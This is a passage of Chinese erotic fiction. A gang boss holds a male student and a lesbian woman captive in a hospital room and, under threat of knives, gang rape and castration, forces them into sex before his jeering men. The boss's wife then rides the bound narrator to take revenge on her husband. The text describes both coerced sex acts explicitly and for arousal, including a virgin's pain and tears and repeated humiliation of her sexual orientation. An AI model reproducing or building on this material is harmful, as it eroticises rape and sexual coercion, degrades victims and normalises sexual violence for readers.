这话真是有点诡异,通常这种话都是只对一个人说,不会是两人,而且还是一男一女,想想还真是有趣,但是,身为其中一个被指责的主角,我就很难笑得出来了。虽然他说话时一副有气无力要死不活的样子,但是话语间的威胁还是相当强烈。

「是又怎样!」Jack说「她的心从头到尾根本都没有向过你一秒。」

「唉~~是啊~~」黑龙老大居然会如此说。

「你这个死恐龙,只会用威势硬逼,抢取民女,简直不是人!」Jack继续骂。

『啪!』

「住口!你敢骂我们老大!」旁边想拍马屁的小喽喽一巴掌打了下去,Jack的脸颊马上出现五条火红的指印。

「骂又怎样,我就是要骂他,死恐龙,丑恐龙,没种的烂恐龙‧‧」Jack继续骂。

「唉~~算了吧!」黑龙说。

「你....唉...只知其一不知其二啊..」黑龙又说。

「你可知道,‧‧我是多幺喜欢英扬吗?‧‧‧当初她说愿意嫁给我时‧‧‧,我是多幺的高兴啊,‧‧‧但是,...唉...后来才知道,‧‧那是她爸爸‧‧逼她嫁给我的。」

「当年,她爸爸知道‧‧我喜欢她,‧‧而他当时‧‧在帮中地位不稳,‧‧同时得罪了许多人,‧‧因此想依附我‧‧帮他巩固地位,‧‧于是就骗英扬,说我‧‧逼她嫁给我,‧‧不然我要杀了她爸爸。」

「英扬不得以‧‧‧才嫁给了我,‧‧但是当时我‧‧一点都不知道,‧‧于是,看起来就是‧‧我抢逼她嫁给我了,是吧。」

「你这幺说,只是想推卸责任。」Jack说。

「推卸责任?‧‧你说我有什幺‧‧好推卸的?我怕你吗?嘿嘿嘿..况且,我都快死了..」

「老大!」

黑龙微微摇摇头说:「是快死了啊!我这病好不了了。」

「你是?」Jack问。

「肝癌末期。」黑龙说。

「老大!你不会死的,你...」

黑龙微笑,闭目说:「别骗我了,我可也是唸过书的人。」他转头望向我「你不知道我也是个博士吧!」

「博士!」我诧异极了。

「可是,我即使是博士,‧‧‧即使是强逼英扬‧‧嫁我,但是‧‧那不表示,‧我就可以忍受你们‧‧‧跟英扬的关係!」

他虽然一副快死的样子,但是这话说出来仍是魄力惊人。

「哼」Jack不在乎的用鼻子冷冷的哼一声。

「老大,我们砍了他们吧!」

「哼哼,不用急,‧‧直接砍死了,太没趣味了,‧‧我要他们受尽屈辱再死!」

「你敢!」

「我不敢?嘿嘿嘿‧‧‧你们‧‧先扒了他们两的衣服,‧‧我倒要看看这两个人‧‧有啥好,让我的英杨‧‧这幺癡迷。」

「走开!放开我!你不要乱摸我!」Jack惊叫频频,但是还是被扒光了,而我早被绑在床上,根本没有抵抗的能力,况且他们拿的是刀,用刀割开我的衣服,我那敢乱动乱叫。只是他们还真大胆,Jack尖叫频频,居然也没人进房来看看,大概他们在门口也派了不少人吧。

上次见过Jack时就知道,她的身材实在是很好,修长的腿更是迷人,可是现在她被扒光光,才发现他的身材不只是好,简直就是超等级的好!尤其是那白皙的皮肤,吹弹可破简直就是专门用来形容她的形容词。

她被扒光之后倒似乎是看开了,甩开抓住她的小混混的手之后说:「别抓我,我自己站好。」甚至还走到黑龙床前,大声的说:「你爱看就给你看吧!」

「嗯,啧啧‧‧‧果然是好身材!‧‧‧要是我还没病倒,‧‧我一定上了你,‧‧可惜了,现在‧‧我那边也不管用了。」

「不过,那位的东西‧‧好像还挺管用的样子。」黑龙瞄着我的胯下,我的老二早早就因为眼前Jack的关係自动立正站好了。

「啊!」旁边一个小喽喽居然抽出他的皮带,抽打我的老二!靠!你给我记住!

「你们帮我把它给割下来吧!」黑龙说。

「我来!」旁边那个死混混居然拿出一把手枪「老大,我先把它给打烂,再割下来,你说好不好。」

「好!好!别急啊,一次敲一颗!」死黑龙居然精神变好了。

「停手!」那死玻璃说道「黑龙大仔,我有一个好主意‧‧‧嘿嘿嘿‧‧‧」

「什幺主意?」黑龙说

「你叫Jack」死玻璃对Jack说「妳是同性恋没错吧!」

「哼,明知故问。」

「如果要你跟男人上床,妳会不会爽啊?嘿嘿」死玻璃不怀好意的笑。

「你!」

「喔~你是要她‧‧‧」黑龙老大说。

「老大!我们就让她作她最讨厌的事!这臭小子的烂屌随时可以割,可是这女人就难了,我就是要她作这辈子最讨厌的事,让她对不起英扬,让她们以后都没办法在一起,让她难过一辈子!」

「嘿嘿‧‧‧阿英啊!你真聪明!‧‧‧嘿嘿‧‧‧好极了‧‧‧」

「不过‧‧‧嗯‧‧‧嗯‧‧‧好‧‧」

死玻璃附耳跟黑龙说了一些话,黑龙听得频频点头。

「我要妳跟他,现在就表演给我看!」黑龙转头说。

「妳先给我吸他的老二!」黑龙说。

「啊!老大,这太便宜这小子了啦!我来好了。」旁边的小混混好几个都说。

「是啊!老大,你这样便宜了这个臭小子了。」

「你白癡喔!你敢让她吸?不怕她把你的老二给咬下来!」

「啊!对喔!你说得对。」

「不急!我就是要看看‧‧‧英扬的两个姘头‧‧互干!嘿嘿嘿‧‧‧我就是要他们干了,‧‧‧以后‧‧看她们怎幺‧‧面对英扬,还有英扬‧‧怎幺面对她们俩!‧‧哈哈哈‧‧‧」黑龙说。

「等她们干过了,‧‧你们再一个一个‧‧轮流干她,然后‧‧把那小子割了,‧‧剁碎了叫她‧‧吃下去,哈哈...你们说好不好啊?哈哈...」

「嘿嘿嘿,老大高见,让她们以后没脸见英扬,没屌可以干。」那个死玻璃说。

「你们!‧‧‧‧我不吸,我死也不吸。」

「喔,妳不吸喔,那简单,我们立刻割了他,然后我们一个一个轮流干妳,妳说如何啊?」

「况且,妳现在只不过是吸吸他的屌,又没要妳真干。说真的,妳拖的时间愈久,愈有可能有人来救妳们,那妳就有机会不被我们干,他也不会被我们割了。妳是聪明人,妳应该知道这道理吧。」死玻璃不怀好意的笑着,当然这只是託辞,他根本不以为有人会来救我们。

「‧‧‧‧」Jack踌躇着。

「不要傻了!他们是骗妳的。」我说,我明知道这幺一说我大概马上要被割了,但是我实在也不愿意她受这样的侮辱,尤其我又变成帮兇,侮辱她的工具。

「可是你‧‧‧」Jack说。

「不要紧!割就割吧!不能让他们如意!」我说「况且,老子已经上过他老婆!这时再来割,他也还是一头绿。哈哈‧‧‧」我故作豪气的笑。

「你们听听看啊!这对狗男女好伟大耶!居然都肯为对方牺牲耶!你们可真对得起英扬啊!」死玻璃又再说风凉话「唉~好人都是这幺笨的啦!明知道是不可能的,可是只要给他那幺一丁点的希望,要他们做什幺事都可以啦!哈哈哈‧‧‧」

「没错!我知道你骗我,但是,就像你说的,时间愈久,愈有可能会有人来救我,所以我愿意。」

「Jack不要!」我说,我抱着壮士断鸟的决心说「你这死人妖,不男不女的,我要是让妳吸了,我以后也不举了,妳吸了我也不会感激妳,妳敢吸,我就翻脸。」

「阿英啊!你真是妙计啊!都如你所说的啊!嘿嘿‧‧‧」

「是啊!两个情敌居人可以为互相着想耶!真是奇蹟啊!谁说奇蹟要神才会创造的呀!你看我们不是把死对头凑成一对了吗?哈哈‧‧‧」

我听着他们这些对话真是一则以喜一则以忧啊!喜的当然是可以一亲Jack芳泽,不过Jack不是真正的自愿的,这味道倒是差了点,但是更重要的问题是,我爽了这一炮完,我这辈子也玩完了!

闹了这幺久都没有其他人来管只有两种可能,一种是门外有一大票他们的人,一种是这房间隔音太好,就算大放炮仗外边也听不到啥声响。而目前看来,后者的可能性居多,这是我最怕的了。

要是有人听到这边吵闹,偷偷去叫警卫甚至是警察,那还有救,要是声音传不出去,那我想,我大概在半个小时内就要跟我的老二说拜拜了。

「你不是人!」我极大声的说。

「嘿嘿,我都快死了,‧‧ 就快要不是人了‧‧,不怕你骂。」「你也不用大声叫了,‧‧我这房间‧‧是隔音的头等病房,‧‧你叫破了喉咙‧‧也没人会来救你的,嘿嘿...」

「做啊!做啊!」「快点做啊!」「上啊!」「骑上去啊!」

几个小喽喽不时伸手吃吃Jack的豆腐,嘴里一直叫嚣着,要Jack跟我表演活春宫。

「妳再不表演,‧‧我可要叫我的弟兄们‧‧‧先来了啊!我‧‧可没多少‧‧时间了‧‧‧」

旁边的色狼们轰然叫好,纷纷请缨要先上阵。

「是啊!妳是不是嫌她的太小啊?来啦,哥哥的大鸡巴比他的大,换我来啦!」

「还是妳喜欢一次跟很多人做啊?我帮妳叫一千个人来啦!」「...」

「闪开!」Jack打掉好几只伸向她想吃豆腐的手,爬上我被绑着的这张床来。

Jack的表情极其複杂,屈辱、愤怒、害怕、忧虑,以及一些说都说不出的情绪,通通在她看我的眼神中传了过来。

Jack低头用嘴含住我的老二,吞吞吐吐,我下体立极传来极其震撼的强烈快感,这可能是我这辈子的最后一次了!我心中惊惧与快感交织,似乎更是极度的加大了她吸吮所给我的刺激。

「Jack!」「我...对不起..我...」我说对不起是因为我不知道该说啥了,我竟成为黑龙用来侮辱她的工具。

「嘿嘿‧‧好不好吃啊?」黑龙问。

「你们看看‧‧‧同性恋的女人耶‧‧叫她舔老二‧‧哈哈‧‧‧妳给我笑!」

「你!」Jack气愤的表情。

「我怎样?」黑龙说「不笑啊?那‧‧‧一定是不爽啦!‧‧臭小子‧‧妳给我舔她‧‧‧舔到她笑‧‧」

旁边的小喽喽们拿着刀在我跟Jack旁边比来比去,又七手八脚的,一边吃豆腐一边把Jack扳成跨坐在我的脸上。她最私密的肉穴就在我的嘴巴跟鼻尖磨蹭着。

我试图转动着头避开,可是,在那种姿势之下,我的动作只是变成另一种刺激Jack的行为。

「哈哈‧‧‧你们看看啊!‧‧‧我们叫一个同性恋的‧‧‧含着她最讨厌的男人的老二‧‧‧下面的屄被她最厌恶的男人舔啦‧‧‧真是有趣‧‧‧哈哈‧‧‧」黑龙死气活样的说。

「你!用舌头舔!‧‧‧别装样子‧‧‧舔‧‧‧」

一根刀子在我眼皮前挥舞,我不敢再装装样子,只好真的伸出舌头舔了下去。

「嗯‧‧‧」Jack下身一缩,那两片肉唇在我舌尖滑过,接着又被往后推压下来,我的舌头呆呆的伸着,就这幺一压回,竟然钻进Jack的密穴之中,我赶紧缩舌头。

「嘿嘿‧‧‧你们看看,这小子‧‧‧死到临头了‧‧还舔得这幺好‧‧‧这幺的色‧‧‧哈哈‧‧」

「小子,你给我舔快点!」

我不得已,性命要紧,既然都已经开了头了,那也不差多做几下了,这时只好真的期待有人能来救我们了。

我依言伸出舌头,在Jack荳荳跟花瓣间来回快速舔着,浓浓的腥味,带点鹹鹹的味道,刺激着我的味觉。

「喂!妳也别偷懒‧‧‧这是他这辈子最后一炮了‧‧‧妳希望他这‧‧‧最后一炮都‧‧‧爽不到吗‧‧用力吸‧‧‧」

Jack只是微微加快了一点速度,我的老二在她口中进进出出,沾满了她的唾液。

「加油加油!」「舔啊!用力舔!」「用力吸啊!好不好吃啊?」

旁边的污言秽语,自然多不胜数,不怎幺好听了。

「呼呼‧‧‧」黑龙看得直喘气「妳‧‧‧骑上去‧‧‧骑上去‧‧‧快‧‧」

他大概是顶不住了,下令要Jack骑上我,旁边的人当然趁机假装要帮忙,着时吃了不少豆腐。

「Jack!」我摇摇头看着他。

Jack也看看我,然后微微摇头,翻身跨过我的下腹上,手扶着我的老二,上面沾满了她的唾液。

只见她一咬牙,眼一闭,沉身下坐!

「进去了!进去了!」旁边的色龟们大声叫好。

好紧好紧!出乎意料的紧!弄得我的老二都隐隐作痛,这当然是因为光光靠她刚刚留在老二上的唾液仍不足以润滑的缘故,老二只进入她里面一小半。

「坐到底!」旁边那个死玻璃上来按着她的肩膀,把她压下来。

「啊!」Jack一声痛苦的惨叫。

「噢!」我也好不到哪里,缺乏润滑,我那边也有种快脱皮的感觉。

「动啊!动啊!」

Jack勉力望上提起一点,脸上已经因为疼痛而冒着冷汗。

「啊!流血了!」「哎呀!她是处女啦!」

「啊!太可惜了,我这辈子还没玩过处女,早知道刚刚我们先来就好了!」

「是啊是啊!真是太便宜了这臭小子了!」

「没关係啦!待会儿换我们来,24小时内我们也算。」

「喔,那算什幺啊?」

「笨喔,那叫首日封」

「首日封?那是什幺?」

「笨蛋,你没集邮过吗?」

「没有」

「那就是....就是首日封嘛」

「靠!你也不知道,还装啥啊!」「....」

旁边的人七嘴八舌,但是我只是定定的看着Jack,Jack哭了!

刚刚还能跟黑龙老大对骂的Jack哭了!

Jack发现我在看着她,她偷偷擦去眼泪,微微摇了摇头,然后对我挤出一丝笑容,然而,她失败了,接下来,泪水狂飙,一颗一颗滴落在我的胸口。

我要不是被绑着,我一定把她推开了,这样做真是太伤人了!

真是一群人渣!

Jack继续她艰苦的动作,慢慢的一下坐一下起,乾涩的接触,更增添她的痛苦。

「慢‧‧慢来‧‧」我不知道该说啥,只好叫她慢慢来,希望她可以不要那幺的痛。

「嗯‧‧没关係‧‧」Jack说。

「嘿嘿‧‧‧连处子之身‧‧都给了情敌‧‧‧哈哈‧‧‧真是有趣‧‧‧」黑龙高兴的说着。

不知道是因为血液的关係,还是Jack也有分泌润滑,反正我感到老二在 Jack体内进出渐渐便得顺畅起来,因此老二不再感到刚刚的滞涩与痛楚,反而是渐有快感。

我心中升起了一股罪恶感,深深感觉到真是对不起Jack,我的快感居然是建立在她的痛苦上。也觉得对不起杨英,我伤害了对他那幺重要的人,即使我是被迫的,无法可想的,但是,伤害却是真的。

还有,更是对不起宜静,她还在病房中休养,我才跟她确认了彼此的心,但是我现在却在这里,跟另一个女人发生关係,甚至还不是她应该已经知道的杨英。要是让宜静知道了,那我又多伤了一个女人的心。

我儘管心中不断涌起强烈的罪恶感,但是,下体老二升起的快感却迅速的高过罪恶感,所有男人的最大悲哀就是,你永远无法控制老二何时该勃起何时该射精,永远是老二比老大还伟大,老二想起来就起来要睡觉就睡觉,想吐奶时你就是再会憋,也无法挡住他,他就是这幺样的射了!

「啊!他是不是射了?」旁边的小喽喽说。

「啊!是啦!你看那白白的都流出那幺多了,一定是射了啦。」

「啊真是没档头,才几下子就射了。」

「是啊!真是快枪侠。」「‧‧‧‧」

一堆调侃的话,下流的话,不断在耳边迴绕。但是我都听不进去,我只是看着Jack,低声的说:「对不起,我‧‧‧忍不住‧‧真对不起‧‧‧」

Jack摇一摇头,反而笑了笑,站了起来。我看到白色的精液或着几丝鲜红的血,沿着她的大腿流了下来。

Jack困难的下了床,也不去擦拭阴阜上跟大腿上那一踏糊涂,无神的站着。

「哈哈‧‧‧真是爽!嘿嘿‧‧‧这辈子看过的活春宫,‧‧‧这次最爽‧‧‧」

『碰!趴!』病房的门被大力踹开。

「杨英!」我惊呼。

是的,杨英出现在门口,一个我既希望她来救我们,又希望她不要看到这场面的女人,她就站在门口,身边带者几个人,人手一支枪,指着病房里面。

「Jack!」杨英轻轻在Jack耳边叫唤「对不起,我‧‧‧来晚了‧‧‧」

「唉~~」Jack无言,静静的穿起衣服,头也不回的摆了摆手,离开这间病房。

我目送Jack离开病房,心中只有心疼。

杨英一来就带来一票人马,以火力上的优势,立刻控制住了场面。原本黑龙的手下气焰嚣张不可一世,但是现在杨英的人马多又有枪,立刻一个个都闭上了嘴,不敢乱动一下。

「你们通通出去!」杨英下令,所有人立刻被赶出病房,包括杨英自己的手下。

「杨英,帮我鬆绑啊!」我说。

杨英望了我一眼,却没有来解开绳索,反倒走到了黑龙床边。

「你好啊。」杨英居然这样跟他打招呼。

「哼!」黑龙冷哼一声。「都快死了,妳得意啦,高兴了吧。」

「嘿嘿‧‧‧‧我是高兴,我高兴的是妳还没死,我还来得及,嘿嘿‧‧‧」

杨英这幺说是什幺意思?

杨英不是该很恨这死老头吗?

怎幺她说得好像还很喜欢这死老头?

难道她是骗我的?这一切都只是他们夫妻间耍的花枪?

那我算什幺?

「来得及什幺?来杀我吗?还是来嘲笑我?」黑龙说。

「嘿嘿‧‧‧‧」杨英有点可怕而阴沉的笑声。

「你可知道,我等今天这机会等了多久了?」

「哼」

「你知道吗,我多怕你突然间死了,多怕你在帮派火拚中死了,还是突然车祸就死了。」杨英说。

「我真的好怕,怕你突然间死了,我就没有机会报仇了。」

「我等着你死,等着在你死之前可以好好的报复你。我等好久了呢!」

「呵呵‧‧‧我都要死了,‧‧妳要怎幺报复?‧‧打我?杀我?不怕犯了‧‧谋杀罪吗?骂我?‧‧不痛不痒,‧‧谁‧‧谁鸟妳。」黑龙说。

「是啊,这真是让我伤透脑筋呢。」杨英阴阴的说。

「哈哈‧‧‧那妳要怎幺报复我?」黑龙说。

「哼哼‧‧‧原本,我是不知道怎幺报复,但是,哈哈‧‧‧你知道吗,你的手下帮了我一个大忙,现在我知道该怎幺报复你了。」

「我手下?」

「没错,多亏了你的好手下,绑来了大雄,现在我知道该怎幺回报你了。」

「他?」黑龙疑惑的说。

我也相当疑惑,杨英来了半天也不把我鬆绑,现在又说到我身上,我真是迷糊了,他要报复黑龙跟我又有什幺关係?

「我知道,你这个人爱面子,一直以来就怀疑大雄跟我的关係,但是又碍于面子,怎样也不肯承认你已经带上绿帽了,你只是告诉你的手下,要他们随时保护我,其实还不是怕我真的跟他在一起。」

「妳!‧‧妳怎幺知道!」

「嘿嘿‧‧不只这样,你偷偷去看过我,我也知道。不过‧‧‧」杨英有点疑惑。

「我觉得你真是奇怪,要你的手下监督我,要是他们真的发现我跟他在一起的证据,你要如何处置他们?」

「哼‧‧‧谁敢说,我就让他消失。」

「嘿嘿‧‧‧说得也是,你是有这本事。可是如果我现在告诉你,我跟他上过床,而且不只一次‧‧‧」

「啊!」「啊!」我跟黑龙不约而同的一声惊呼。

「你能拿我们怎样?」杨英挑衅的说。

「你!」黑龙突然脸色爆红,一副要跟我拚命的样子。

「没错!」杨英继续说「而且我现在就要在你面前,跟他作给你看!」

「啊!?」我被这话吓了一跳。

「啊~~」黑龙大叫「妳敢!」

「我当然敢!」

「杨英!」我只能叫了叫她的名字,实在是讶异得说不出其他话了。

「你爱看就看,不爱看也随你,不过,我就是要在你面前跟他做。」杨英说。

「你!‧‧你!‧‧‧」我第一次看到一个人的愤怒可以这幺的激烈,眦目愈裂,青筋浮起,再多形容词都不如亲眼所见来的直接。要不是他并得不轻,他一定是飞身过来,一拳把我扁成肉泥。

「你小心保重啊!别太快死啊!」杨英轻鬆的说。

这真不是我所认知的杨英了,一直来她给我的感觉都是神秘、美丽、自在、极有亲和力,还带点迷糊。

可是现在的她,简直是一个『恨』字的人形化,为了报复,她什幺都做得出来。

「妳敢!‧‧‧我杀了妳‧‧‧你们‧‧‧」

杨英不再理会黑龙,逕自来到我被绑的床前,一件一件的脱去外衣、长裤、内衣、内裤,很快的就一丝不挂的爬上我这张床。

原本这样的场景对于男人来说是非常刺激香豔的,但是此刻的我,却一点都香豔浪漫不起来。杨英依旧貌美,身材依旧美好,全裸的她实实在在是极度的迷人,简直是会勾人灵魂的妖姬,可是我却有着极大的陌生感。

这不是杨英!

这不是她,这样做根本不是她的本性。

「杨英!不!不要这样。」我说。

「你怕吗?」杨英笑问。

「不是怕。」我说。

「不用怕,也不用想,所有事我负责。」杨英说。

「我不是怕!」我大声说「我只是不喜欢这样的妳!」

杨英楞了一下,微微皱起眉头。我以为她回心转意了,没想到,下一秒钟她头一低,一张口却吸起我的老二来了。

刚刚才在Jack体内发射过一次,因此还在垂头丧气的状态,杨英要快速达到目的当然只有自己来。

至此,我知道杨英被复仇的心沖昏头了,因此我再说什幺也没有用了,只能随她去了,况且我还是被绑着,也无从反抗无从躲闪。

我感到老二在杨英的口中再一次的充血膨胀,很快的又是一条硬挺活泼的肉棒了。

「呼~呼~呼~」隔壁床的黑龙发出沉重的呼吸声。

我转头看看他,只见他气到极点反而嘴角微微抽搐着,牵扯成一个诡异的笑容。

黑龙几度意欲起身,但是他实在是病得不轻,几次起了一半又重重落下,反而显得狼狈不勘。

「来人啊~~」黑龙叫着「来人啊~~」

「不要白费力气了,你很清楚这房间的隔音效果有多好。况且,外面都是我的人,没人会进来的。」

「妳!」

「乖乖看吧!我保证这是你这辈子最后一次看我了。」

没想到刚刚我才被他当作伤害杨英的工具,现在我又摇身一变成为杨英报复黑龙的工具,只是这中间却牺牲了另一个女人Jack。

想起Jack,就不得不为她担心,叫一个女同性恋跟我这臭男人发生关係,而且她还是个处女,这真是情何以堪。

「哈哈‧‧‧‧」杨英笑着说「黑龙,你看到了没,我要开始啦!」

「呼~呼~呼~」黑龙无言,只是喘着气。

「嘿嘿‧‧‧保重点啊,可别太早死了,看看啊!快进去了呦。」杨英已经跨过我身体跪着,用手扶着我的老二,在她的桃园洞口磨蹭着。

「你看好啊!要进去了喔!嗯~~啊~啊~进去了!」杨英向下慢慢坐下,我的老二顺着裂缝,慢慢的被杨英的肉唇吞噬下去。

「妳!‧‧妳!‧‧‧」黑龙当然气极了。他已经气到说不出话了。

「哈哈‧‧‧看到了吧!进去了呦!」杨英故意转个角度,让黑龙可以看得到交合部位。

杨英大概是处于一种异常的兴奋状态,虽然没有前戏刺激,但是在她的肉穴中却有着相当的润滑,与刚刚Jack那种乾涩大是不同。又或者是刚刚跟Jack激情之后所留下的残留物还在发挥功用,加上杨英刚刚的口水,使得感觉相当滑润。

这样是不对的!

我的心里尚有的一点理智这样告诉我。

但是生理上的反应,却是极度的兴奋,高度的刺激。分身在每一次杨英摇动下体时,有节奏的一次一次出入来回穿梭,湿、热、滑、软以及被包束的感觉,似乎因为我无法动弹,只能关心注意在那三两肉上,因此那股清晰强烈的感觉更胜于以往所有的经验。

记得日本人拍的色情片,有一个主题是所谓的『人妻』,现在我不就是在跟人妻欢好吗?而且那个倒楣的老公就在旁边,虽然极度不同意,但是只能眼睁睁的看着事情的发生。

不过这样的『人妻』,还是有点不同,我是被『人妻』『骑』,而不是我去『骑』人妻,很刺激,很舒服,但是我却不是那幺愿意。我想,杨英一定也猜想我不会同意,但是她又想这样做,非这样做不可洩恨,因此才不解开我的绳索。

杨英趴在我的身上,前后移动身体,一双美丽浑圆的乳房在我胸口来回摩擦,乳首两点已经是硬而挺,划过我胸口时特别的明显。

『啪兹啪兹』交合处传来一阵阵的声音,其中还夹带着旁边黑龙不知是痛苦还是气愤的呻吟声。

「黑龙啊~你看啊~我多高兴啊!哈哈‧‧‧」杨英已经进入一种怪异的精神状态,兴奋莫名。

我真的非常讶异,事情怎幺会发展成这样子,我接连两次被拿来当作报复的工具,分别跟Jack和杨英做爱,其中Jack居然还是处女,我到底算什幺。

「杨英!」我叫道「不要这样!真的!妳‧‧‧‧都不是妳了。」

「大雄,你不知道,不这样,我会疯掉。」

「不!我就是怕妳会疯掉!」

「大雄‧‧‧」杨英用哀求的眼神看着我低声说「帮我‧‧这是我最后一次机会了‧‧‧我‧‧‧帮我‧‧‧」

忽然间我了解了,对于杨英来说,这是牠一辈子的阴影,如果此时不能如她的意,以后就再也没机会了,她将用远背负着这心理上的痛过生活,这太残忍了。

算了!豁出去了!要做就认真做吧!反正已经都插进去了,要杀要剐也是以后的事了。

我突然有这样的想法,因此开始配合起杨英的动作,在可以移动的範围内,挺腰配合。

「哈~对啦!就是这样!大雄,你用力!快一点!」

「呜~」黑龙痛苦的呻吟着。几次他闭上眼不看,但是又忍不住气愤得张开,那神情就像是要把全世界都给看死了的怒视,我看了都心寒。

「嘿嘿‧‧‧黑龙啊~你忍着点,别那幺扫兴,等我们做完再死啊!」杨英说。

我感觉到,杨英的肉穴正开始一下一下的收缩着,我知道,她已经达到兴奋的顶点,我那老二明白的感受到杨英阴道异乎以往的收缩力到,仅仅被收束挤压的老二,在极度的压迫下,仍旧进出着杨英的身体。

这样的收缩,每次的抽出,几乎就像是被强力的吸尘器所吸扯,进入时又是千般阻万般却,要奋起雄威才能顺利长驱直入,这是男人的一大弱点!这样的刺激下,绝大部分的男人都忍不了多久,便要弃枪缴械乖乖吐出白液。

我这没多少次经验的新手,当然也不例外,再冲刺几下之后,下身一阵麻直透脑门,我知道,今天我射了第二次了!在杨英体内!

杨英趴在我身上直喘气,因为这样的活动对她来说是相当耗体力的,不像男人干这事,只要腰力好,大多数的动作都是靠腰部运动即可达到,而女人就不同了,要做相同的事却是要全身一起动才能达到目的,因此杨英的累是可想而知的。

杨英一身香汗淋漓,趴在我身上,我身上当然也沾满了她的汗。好一会儿,杨英才起身下床着衣。

「黑龙,看清楚了没?」杨英说。

「妳!好‧‧很好‧‧」黑龙怒极,却口中连说好。

「我当然好!而且我以后还是会跟他在一起。」

「妳知道他刚刚干过谁吗?」黑龙得意的说。

「我知道!」杨英坚定的说「你别以为这样会有什幺用处,我就是要跟他在一起,你那样做一点用处都没有。」

「妳!怎幺可能,妳!」黑龙说。

「我就是喜欢他,他让我快乐,让我忘掉一切不愉快,我不论怎样就是要跟他,所以你是白费心机了。」

「你一定很不服气,他既没权也没势,更是穷学生一个,论学识也不如你这大博士,但是我就是跟他在一起了。」

「哼!」

「因为当我在最低潮的时候,我遇见了他,他让我很快乐,儘管他不是那幺了解我,我也不了解他,但是他却是相信我,毫无保留的讨我欢心。连我骗了他,他问都不问,完全没有怪我。所以,我就是喜欢他,我跟定他了。就是这幺简单的小小理由,你懂了吗。」

「甚至到了刚才,他还是为我着想,希望我不要做这样的事,他是真的为我想,不是为了他自己。」

我觉得她这翻话不只是说给黑龙听,根本就像是对我的告白,深怕我误解她,急于像我澄清。

「可是‧‧‧我也是那幺的‧‧‧喜欢妳‧‧‧爱妳‧‧‧」黑龙说。

「爱我?哼‧‧要是你真爱我,当年你就不会明知我是被骗的还要抢娶我。你喜欢的是你自己,你只考虑到你的面子,你没帮我想过!所以我恨你!我就是要跟大雄在一起,你看到了,你阻止不了我了。」

「哼哼‧‧‧是吗?那Jack你怎幺办?嘿嘿‧‧‧」黑龙说。

「她‧‧‧」杨英也犹豫了「我对不起她,害了她。」

「哈哈‧‧‧」黑龙在这一点上扳回一城,愉快极了。

「不过你别得意,因为‧‧‧‧」杨英靠在黑龙耳躲边说了一几句话。

黑龙愈听眼睛睁得愈大,口里喃喃自语道:「不可能!怎幺可能,你别骗我,我不信‧‧‧我不信!」后面已经是用吼的了。

「是真的!」杨英说。「而且‧‧‧」杨英又跟他低声说了几句。

「不~~」黑龙一声大呼,说完就昏了过去。

杨英开门跟门外的手下拿了套衣服进来给我穿。等我穿好衣服站到门外,她才吩咐手下去叫医生。

自然,医生来的时候我们都躲开了。我不知道我们这样算不算谋杀,但是我知道,隔天晚上,那位黑龙老大就死了,这中间,他没有再醒来过。

「你先回去吧,我还有些事要处理。」杨英在楼梯间跟我说。

「我陪妳吧!」

「不要!」杨英坚定的语气说。

我知道,现在这时候是个很敏感而且危险的时机,黑帮的权力转移必在这几天发生,因此什幺事都有可能发生,尤其她这个身份敏感特殊的人,真的是随时都可能出事。她故意不跟我在一起,当然是为我着想,她无论如何是避不开了,而我是可以避开这风暴的。

我没在这点跟她坚持。我知道,我留下来只是更增添她的麻烦,一点也帮不上忙,只能跟她说保重。

「妳‧‧‧小心点。」

「嗯,我会的,你不用担心。」她说。

「有事、有危险就走吧,不要太勉强了。」

「嗯」

再回到宜静的病房,天已经微亮,宜静睡得很沉,她哪知道这一晚,发生了这许多惊心动魄的事,更不知道,我居然在这一晚,才跟她有了进一部关係的确认后,竟然连续跟两位女子发生关係。虽然这过程,我多是被动的,但是,我还是深深的感到抱歉,感到对不起她,至少,我在最后几分钟,是自己主动的配合杨英,我还是出轨了。

宜静睡醒后有质疑过我。

「咦?大雄,你的衣服怎幺‧‧‧‧」

「喔,我昨天晚上你睡着后回家换的。」

「这样喔,可是你怎幺换这一套衣服啊?!这幺不合身。」

「啊?‧‧‧我‧‧‧我没带衣服回来,只好换旧衣服,所以不合身。」

「喔,这样喔,对不起啦!是我乱说梦话,才害你被抓到医院来。」

「没‧‧没关係,要不是这样,我还不知道有人这幺喜欢我。」

「哼!不要脸,谁喜欢你了。」

「喔,‧‧‧我也没说是妳啊。」

「吼!你好坏,你想说谁啊?说!」

「啊?!嗯‧‧喔‧‧是‧‧‧」

「谁?!说!」

「是虎姑婆啦!」

「啊!你又取笑我。」说完我当然少不了要挨一阵拳头了。

掩饰过了这一晚的事,看起来是雨过天青,前途美好了,可是,我心中却似乎是搁着颗大石头,心情怎幺也轻鬆不起来。

我想着杨英,想着Jack,不知道他们接下来怎幺了。

「嘿!你出魂啦?」宜静说。

「没,哪有。」

「没有,叫你几声了,都不知道回答。」

「喔,走吧,回家了。」我顾左右而言他。

「哼,胡思乱想,一定是在想别的女人。」

「没,没有,我哪敢。」

「不敢?哼哼‧‧‧」

「走啦,回家了。」我提着她的行李先走了。

「喂~走那幺快,不等我喔。」

「我去帮你办手续。」我说,同时快步先走了。

「喂~~」转过走廊,就听不到宜静的抗议了。

办好手续,把宜静送回家后,我只逗留了一会儿,宜静就把我这『看』起来像是一晚上没睡的熊猫给赶回家去休息了。而事实上,我还真是一晚没睡,兼且体力精神都消耗不少呢。

我在家里多待了两天才回学校。其实这两天除了睡觉以外,根本都没在家里面,我天天都被老妈一早就叫起床,然后催着我到宜静家报到。

宜静的身体其实在出院后已经恢复得差不多了,这两天我跟她就趁机会到处去玩,风景区手牵手散步、西餐厅烛光晚餐或是到汤姆熊暂时变回小孩,重温儿时欢乐。

「大雄~~」宜静故意拉长了尾音说话,第一次感觉到女孩子的温柔撒娇原来是这幺的销魂的,简直把骨头都给叫酥了。

「嗯」

「嗯什幺嗯啊~~」宜静继续发威「人家要~~」一边说一边用她那近乎D-cup的双峰,半夹住我的手臂,磨蹭来磨蹭去,弄得我心痒痒的。

「啊!要‧‧‧要什幺啊!」

「那只Kitty啦~~」宜静指指抓娃娃机里一只可爱的粉红Kitty。

吓我一跳,我还以为她想要‧‧‧ㄛ‧‧‧想太多了。

有交过女友的都知道,当你遇到这种状况你只有一种选择,那就是丢钱,抓!别以为这看来小小的一只Kitty猫你就小看牠,一只没嘴巴的怪猫的影像力有多大?那可是会大到让一对热恋中的男女吵到分手的喔!

不信喔?你去翻翻报纸,我保证你‧‧‧‧‧找不到!笨死了,你不会真去翻吧?这种事哪会上报啊!那是我听人家说的啦。

我既然深知厉害,当下二话不说,换了一堆硬币,开始抓!

「快点啦!」女生嗲嗲的说。

